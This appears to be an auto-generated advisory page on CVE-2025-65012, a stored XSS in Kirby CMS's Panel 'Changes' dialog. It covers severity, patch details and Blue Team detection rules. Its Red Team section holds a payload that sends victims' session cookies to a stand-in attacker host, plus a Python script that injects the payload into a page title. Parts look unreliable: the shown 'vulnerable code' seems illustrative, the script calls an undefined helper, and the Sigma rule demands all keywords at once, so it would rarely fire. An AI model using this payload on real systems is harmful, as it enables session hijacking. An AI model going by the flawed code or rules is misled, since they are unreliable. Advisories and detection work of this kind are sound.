CVE-2025-65012
Executive Summary
CVE-2025-65012 is a stored Cross-Site Scripting (XSS) vulnerability in Kirby CMS, affecting versions 5.0.0 through 5.1.3. An authenticated attacker with the ability to modify page titles or usernames can inject malicious JavaScript. When another authenticated Panel user opens the "Changes" dialog, the payload executes in their browser session. The attack requires user interaction and cannot be automated. The vulnerability is patched in Kirby 5.1.4.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Kirby is a PHP-based CMS distributed via Composer. The vulnerability exists in the core application code, not in a third-party package. Users should update the getkirby/kirby Composer package to version 5.1.4 or later. Verify the integrity of the update by checking the SHA-256 hash of the downloaded package against the official release.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires an authenticated Panel user
- User Interaction: Required (UI:R) – another Panel user must open the "Changes" dialog
- Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of data
- Availability Impact: None (A:N)
Threat Level: Medium. The attack requires authenticated access and user interaction, but the potential for session hijacking or data exfiltration makes it a significant risk for multi-user Kirby installations.
Deep Dive & Mechanics
The vulnerability resides in the Kirby Panel's "Changes" dialog, which displays pending modifications to pages or user profiles. When an attacker changes a page title or username to a malicious string (e.g., <img src=x onerror=alert(1)>), the string is stored in the database without proper sanitization. The "Changes" dialog then renders this string in the HTML context without escaping, leading to XSS.
Attack Flow:
- Attacker (authenticated Panel user) navigates to a page or user profile.
- Attacker modifies the title or username field to include a JavaScript payload.
- Attacker saves the change, storing the payload in the database.
- Another authenticated Panel user opens the "Changes" dialog to review pending modifications.
- The dialog renders the malicious title/username, executing the payload in the victim's browser.
Root Cause: Insufficient output encoding in the "Changes" dialog template. The application fails to escape user-controlled strings before rendering them in HTML.
Vulnerable vs. Patched Code
Vulnerable Code (Kirby 5.1.3):
// In Kirby's Panel controller for the "Changes" dialog
$changes = $page->changes();
foreach ($changes as $change) {
echo '<div class="change-item">' . $change->title() . '</div>';
}
Patched Code (Kirby 5.1.4):
// In Kirby's Panel controller for the "Changes" dialog
$changes = $page->changes();
foreach ($changes as $change) {
echo '<div class="change-item">' . esc($change->title()) . '</div>';
}
The patched version uses the esc() function (or equivalent) to HTML-encode the output, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Kirby 5.0.0–5.1.3 instance with at least two authenticated Panel users.
- Ability to modify page titles or usernames.
Exploitation Steps:
- Log in as the attacker user.
- Navigate to a page or user profile.
- Change the title or username to:
<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> - Save the change.
- Wait for another Panel user to open the "Changes" dialog.
- The payload executes, exfiltrating the victim's session cookie.
Proof-of-Concept (PoC) Script:
import requests
target = "http://target-kirby.com/panel"
attacker_session = {"cookie": "your_session_cookie"}
# Step 1: Get CSRF token
r = requests.get(f"{target}/login", cookies=attacker_session)
csrf_token = extract_csrf(r.text)
# Step 2: Modify a page title
payload = "<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"
data = {
"_csrf": csrf_token,
"title": payload
}
r = requests.post(f"{target}/pages/1/update", data=data, cookies=attacker_session)
print(f"Payload injected: {r.status_code}")
Blue Team
Detection Steps:
- Monitor for unusual changes to page titles or usernames containing HTML/JavaScript characters.
- Review Panel access logs for suspicious modification events.
- Inspect the "Changes" dialog for unexpected content.
Hunting Query (Splunk):
index=web_logs source="/var/log/kirby/panel.log"
| search "title" OR "username" AND ("<" OR ">" OR "onerror" OR "onload")
| table _time, user, action, field, value
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com) - HTTP requests containing
document.cookiein the query string
- Outbound connections to attacker-controlled domains (e.g.,
- File IOCs:
- Modified page content files in
content/directory containing<script>or<img onerror>tags
- Modified page content files in
- Log IOCs:
- Panel access logs showing rapid title/username changes
- Error logs with JavaScript execution errors
Detection Engineering
YARA Rule
rule kirby_cve_2025_65012_xss {
meta:
description = "Detects stored XSS payloads in Kirby CMS content files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65012"
strings:
$xss1 = /<[^>]*onerror\s*=[^>]*>/i
$xss2 = /<[^>]*onload\s*=[^>]*>/i
$xss3 = /<script[^>]*>.*<\/script>/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Kirby CMS Stored XSS via Title/Username
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-65012 by injecting XSS payloads into page titles or usernames.
author: Valters IT
logsource:
category: application
product: kirby
service: panel
detection:
selection:
action: 'update'
field: 'title' OR 'username'
value|contains|all:
- '<'
- '>'
- 'onerror'
- 'onload'
- 'script'
condition: selection
falsepositives:
- Legitimate use of HTML in titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65012 Kirby CMS Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Kirby to version 5.1.4 or later.
- If upgrade is not possible, apply the patch manually by adding HTML escaping to the "Changes" dialog template.
- Review and sanitize all existing page titles and usernames for malicious content.
Long-term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enable input validation for all user-modifiable fields.
- Conduct regular security audits of Panel code.
- Restrict Panel access to trusted users only.
Workaround:
- Disable the "Changes" dialog feature by modifying the Panel configuration (not recommended for production).
Valters IT